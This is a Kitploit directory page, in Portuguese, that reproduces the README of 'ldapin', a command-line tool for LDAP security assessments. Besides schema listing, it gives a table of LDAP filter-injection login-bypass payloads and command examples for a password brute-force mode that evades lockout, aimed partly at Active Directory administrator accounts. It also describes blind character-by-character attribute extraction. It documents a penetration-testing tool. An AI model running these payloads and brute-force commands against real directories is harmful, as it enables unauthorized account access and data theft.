Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ldapin — Ferramenta CLI para realizar tarefas básicas de LDAP para avaliações de segurança | Kitploit
Ferramentas/GitHubGitHub/affolter-engineering/ldapin
ReconhecimentoAtaques de SenhaAnálise de VulnerabilidadesColeta de InformaçõesTestes de PenetraçãoAutenticação
GitHubaffolter-engineering/ldapin

ldapin

Ferramenta CLI para realizar tarefas básicas de LDAP para avaliações de segurança

Ver Repositório
129há 3 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ldapin

Uma ferramenta CLI que descobre campos LDAP válidos consultando o subschema de um servidor LDAP. Ela lê attributeTypes e objectClasses diretamente do servidor, então os resultados sempre refletem o que o servidor realmente suporta.

Funcionalidades

  • Lista todos os tipos de atributos com OID, sintaxe, cardinalidade, aliases e descrição
  • Lista todas as classes de objetos com tipo (structural/auxiliary/abstract), atributos obrigatórios/opcionais e cadeia de superclasses
  • Filtro de substring no nome ou descrição
  • Três formatos de saída: table, JSON, CSV
  • Bind anônimo e autenticado (simples)
  • LDAP simples, LDAPS e STARTTLS

Instalação

Nix (recomendado)

# Run directly without installing
nix run github:your-user/ldapin

# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin

Para usuários de Nix ou NixOS há um pacote disponível. Tenha em mente que as versões mais recentes podem estar presentes apenas no canal unstable.

nix-env -iA nixos.lapin

A partir de um checkout local:

nix run .
nix build .

Cargo

cargo install --path .

Uso

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP server URL [default: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     Bind DN (omit for anonymous bind)
  -w, --password <PASSWORD>   Bind password
  -W, --prompt-password       Prompt for bind password interactively
  -f, --filter <FILTER>       Substring filter on name or description
  -c, --object-class <NAME>   Limit to a specific object class (with -m object-classes)
  -m, --mode <MODE>           What to show: attributes, object-classes, both [default: attributes]
  -o, --output <OUTPUT>       Output format: table, json, csv [default: table]
  -b, --base-dn <BASE_DN>     Base DN to search under (required for --mode login-bypass)
      --user-attr <ATTR>      User attribute name for login-bypass probes [default: uid]
      --pass-attr <ATTR>      Password attribute name for login-bypass probes [default: userPassword]
  -u, --target-user <USER>    Target username for login-bypass probes
      --starttls              Upgrade connection with STARTTLS
      --insecure              Skip TLS certificate verification
  -h, --help                  Print help
  -V, --version               Print version

Exemplos

Listar todos os tipos de atributos em um servidor local:

ldapin

Autenticar e listar todas as classes de objetos:

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

Encontrar todos os atributos relacionados a mail:

ldapin -H ldap://ldap.example.org -f mail

Mostrar tudo em JSON:

ldapin -H ldaps://ldap.example.org -m both -o json

Exportar todos os atributos para CSV:

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

Mostrar a entrada da classe de objeto inetOrgPerson:

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

Conectar com STARTTLS:

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

Testando com o servidor LDAP público ForumSys

O ForumSys fornece um servidor LDAP gratuito e somente leitura, adequado para testes.

ParameterValue
Hostldap.forumsys.com
Port389
Bind DNcn=read-only-admin,dc=example,dc=com
Passwordpassword
Base DNdc=example,dc=com

Listar todos os tipos de atributos (bind anônimo):

ldapin -H ldap://ldap.forumsys.com

Listar todos os tipos de atributos (autenticado):

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

Listar todas as classes de objetos:

ldapin -H ldap://ldap.forumsys.com -m object-classes

Mostrar a classe de objeto inetOrgPerson:

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

Filtrar atributos por nome:

ldapin -H ldap://ldap.forumsys.com -f mail

Exportar tudo para JSON:

ldapin -H ldap://ldap.forumsys.com -m both -o json

Teste de bypass de login

O modo login-bypass sonda um servidor LDAP em busca de vulnerabilidades de injeção de filtro. Ele constrói 11 payloads derivados de técnicas conhecidas de injeção LDAP e relata quais retornam entradas. O mesmo resultado que uma aplicação web vulnerável produziria se construísse seu filtro de autenticação a partir de entrada de usuário não sanitizada.

# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

Payloads testados:

PayloadFilter template
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

Exemplo ForumSys

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

Ataque de dicionário

O modo brute-force primeiro resolve o DN completo do usuário alvo por meio de uma busca LDAP, depois tenta simple_bind(dn, password) para cada linha da wordlist, parando no primeiro sucesso.

Flags obrigatórias: -b / --base-dn, -u / --target-user, --wordlist.

# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# JSON output
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

O progresso (resolução de DN, contagem de tentativas, resultado) é escrito em stderr; o resultado vai para stdout, então -o json e -o csv são canalizados de forma limpa.

Exemplo ForumSys

# Create a small wordlist with the known password
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

Extração cega de atributos

O modo blind-extract recupera o valor de qualquer atributo legível um caractere por vez, sondando repetidamente com filtros de sufixo com curinga:

(&(uid=TARGET)(mail=a*))   -> no entries
(&(uid=TARGET)(mail=e*))   -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*))  -> entries found -> 'ei'
...

Este é o equivalente em LDAP direto do clássico loop de injeção cega usado contra aplicações web vulneráveis que constroem filtros LDAP a partir de entrada não sanitizada.

Flags obrigatórias: -b / --base-dn, -u / --target-user, --extract-attr.

# Extract the mail attribute for user "einstein"
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail
Baixar ferramenta